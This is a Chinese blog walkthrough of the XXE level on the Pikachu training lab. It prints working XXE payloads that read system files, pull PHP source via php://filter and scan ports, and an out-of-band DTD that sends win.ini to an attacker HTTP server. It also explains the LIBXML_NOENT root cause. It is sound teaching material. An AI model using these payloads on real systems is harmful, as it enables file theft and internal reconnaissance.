pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)

目录

一、来自官方的介绍以及来自民间的扩展

1、pikachu官方简介

2、小女子之前画的脑图

3、两个不错的博客

二、小白菜的闯关

1、查看系统文件内容

2、查看php源代码

3、爆破开放端口

三、两点思考

1、这里不能试盲注?

2、如果没有LIBXML_NOENT


一、来自官方的介绍以及来自民间的扩展

1、pikachu官方简介

2、小女子之前画的脑图

3、两个不错的博客

最好先看看下面两篇,补充一下xml实体和xxe的基础知识再做这个靶场

https://www.freebuf.com/articles/web/177979.html

https://lalajun.github.io/2019/12/03/WEB-XXE/

二、小白菜的闯关

pikachu的xxe只有一关,就像下图这样

随便输入个非xml的内容,会有一些“友善”的提示

随便输入个包含命名实体(内部实体)的xml数据(以下代码中xxe是命名实体的实体名称):

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "仙女" > ]> 
<foo>&xxe;</foo>

网页上回显“仙女”,说明网页对输入的xml数据是有结果回显的

注意:这里只能判断是否有回显,不能判断是否支持外部实体,后续章节分析代码的时候会做对比。

之前已经判断了输入内部实体是有回显的,那接下来可以用带内外部实体注入的方法,来确定是否支持外部实体,以及实施攻击。

1、查看系统文件内容

c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

输入payload(以下代码中xxe是外部实体的实体名称):

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

即可查看c:/windows/win.ini的内容

接下来想要查看其他系统敏感文件,只要以该文件路径替换掉c:/windows/win.ini就可以了

这里注意file://协议只能用绝对路径,用不了相对路径(具体见DVWA通关--文件包含(File Inclusion)的high关)

2、查看php源代码

查看php源代码一般用php伪协议php://filter

这里构造payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]> 
<foo>&xxe;</foo>

就可以得到base64编码的rce.php文件源代码

之后拿到网上或者burpsuite的decoder模块解码就好

3、爆破开放端口

没想到吧,xxe还能扫描开放端口呢(我也没想到)

在输入框中输入下面两段xml代码,虽然返回结果都是那段“友善”的提示,但是肉眼可见处理速度是不同的

原因是服务器80端口是开放的,而81端口是关闭的

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo>
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

那我们就可以burpsuite抓包之后进行爆破了

浏览器中提交上面的代码,并在burpsuite的proxy模块抓到下面的报文,send to intruder

这里为了演示,搞简单点,仅爆破1~100这100个端口,按照下图设置intruder模块,其他默认

按start attack开始攻击

注意,查看结果的时候,由于我们需要按照发request包和回response包的间隔排序,而默认爆破结果中是不包含这个的(见下图),因此需要做一些操作

此时需要点一下左上角的Columns,然后勾选上response received,然后就会像下图这样,结果列中增加了发请求和回答复之间的时间的显示

最后点一下response received列,让报文根据这列值的大小排序,可以发现1~100的端口中只有80端口开放

三、两点思考

1、这里不能试盲注?

虽然pikachu的xxe如之前所言是有回显的xxe,但是本来其实我想就用这个再试一下xxe盲注,也就是没有回显的情况下的xxe利用,但是发现似乎不可以。。。

事情是这样的:

我在攻击机上用python3 -m http.server 80简单起了一下http服务,然后写了个叫xxe.dtd的文件,内容如下:

<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.101.14/xxe.xml?c=%file;'>">

然后再浏览器的输入框中提交了下面的xml代码:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.101.14/xxe.dtd">
%dtd;
%print;
%send;
]>
<text>yes</text>

结果攻击机上只有对xxe.dtd的请求,没有对xxe.xml的请求

也就是说只有外部参数实体%dtd;被解析了,而外部参数实体%print;或者%send;(或者两个都)没有被解析

后来试着把%print;%send;放到xxe.dtd文件最后面也不行

应该不是xxe.dtd文件有问题,因为后来也试过把xxe.dtd修改成不正确的格式,是会有那个“友善”的提示的。这也表明xxe.dtd确实有被解析,但是为何%send;没有被解析,实在是没弄懂

如果这里实际上可以实验盲注,或者哪位大神有其他想法万望告知,在此谢过

2、如果没有LIBXML_NOENT

服务器上的代码主要是下图49行simplexml_load_string()函数中使用了LIBXML_NOENT参数,导致外部实体可以被解析,才造成了xxe漏洞

下面将这个参数删掉,看看服务器解析内部实体和外部实体是否有区别

输入以下payload(内部实体),可以被正确解析:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "仙女" > ]> 
<foo>&xxe;</foo>

输入以下payload(外部实体),不可以被解析:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

猜你喜欢

转载自blog.csdn.net/elephantxiang/article/details/113812331
今日推荐